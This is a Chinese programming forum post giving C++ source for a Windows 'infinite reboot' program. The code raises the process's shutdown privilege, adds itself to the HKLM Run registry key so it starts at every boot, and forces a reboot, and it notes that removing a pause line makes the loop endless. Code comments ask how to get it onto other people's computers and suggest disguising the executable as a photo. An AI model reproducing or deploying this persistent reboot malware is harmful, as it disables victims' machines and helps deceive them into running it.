VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

搜索
查看: 652|回复: 1

[交流] Windows无限重启实现

[复制链接]
16_avatar_middle
最佳答案
0 
在线会员 发表于 2019-3-8 14:52:22 | 显示全部楼层 |阅读模式
  1. #include <windows.h>
  2. BOOL MySystemShutdown() {
  3.         HANDLE hToken;
  4.         TOKEN_PRIVILEGES tkp;
  5.         //提升了我们当前这个程序的权限
  6.         // Get a token for this process.

  7.         if (!OpenProcessToken(GetCurrentProcess(),
  8.                 TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
  9.                 return(FALSE);

  10.         // Get the LUID for the shutdown privilege.

  11.         LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
  12.                 &tkp.Privileges[0].Luid);

  13.         tkp.PrivilegeCount = 1;  // one privilege to set   
  14.         tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  15.         // Get the shutdown privilege for this process.

  16.         AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
  17.                 (PTOKEN_PRIVILEGES)NULL, 0);

  18.         if (GetLastError() != ERROR_SUCCESS)
  19.                 return FALSE;

  20.         // Shut down the system and force all applications to close.


  21.         if (!ExitWindowsEx(EWX_REBOOT | EWX_FORCE,
  22.                 SHTDN_REASON_MAJOR_OPERATINGSYSTEM |
  23.                 SHTDN_REASON_MINOR_UPGRADE |
  24.                 SHTDN_REASON_FLAG_PLANNED))
  25.                 return FALSE;

  26.         //shutdown was successful
  27.         return TRUE;
  28. }

  29. int _tmain(int argc, _TCHAR* argv[])
  30. {
  31.         system("pause");        //程序暂停执行,这句话去掉 无限重启

  32.         HKEY hKey = { 0 };
  33.         RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);//写入开机项

  34.         char szPath[MAXBYTE] = { 0 };
  35.         GetModuleFileNameA(nullptr, szPath, MAXBYTE);

  36.         RegSetValueExA(hKey, "ReBootDemo", 0, REG_SZ, (byte*)szPath, strlen(szPath));
  37.         

  38.         //开机后不直接重启,而是等待远程指令到来后再重启
  39.         // 使用Socket
  40.         MySystemShutdown();
  41.         //关键是怎么把这些代码注入到别人电脑,新来的
  42.         // 如果把一个EXE打包成一个相片
  43.         // 公开课都会教大家一些有趣的小项目
  44.         //

  45.         return 0;
  46. }
复制代码




上一篇:VC++ 自毁实现
下一篇:C++中 cout 输出字符型指针地址值的方法

本帖被以下淘专辑推荐:

您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

×【发帖 友情提示】
1、请回复有意义的内容,请勿恶意灌水;
2、纯数字、字母、表情等无意义的内容系统将自动删除;
3、若正常回复后帖子被自动删除,为系统误删的情况,请重新回复其他正常内容或等待管理员审核通过后会自动发布;
4、感谢您对VC驿站一如既往的支持,谢谢合作!

关闭

站长提醒上一条 /2 下一条

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号 )|网站地图wx_jqr

GMT+8, 2020-11-26 10:19

Powered by CcTry.CoM

© 2009-2020 cctry.com

快速回复 返回顶部 返回列表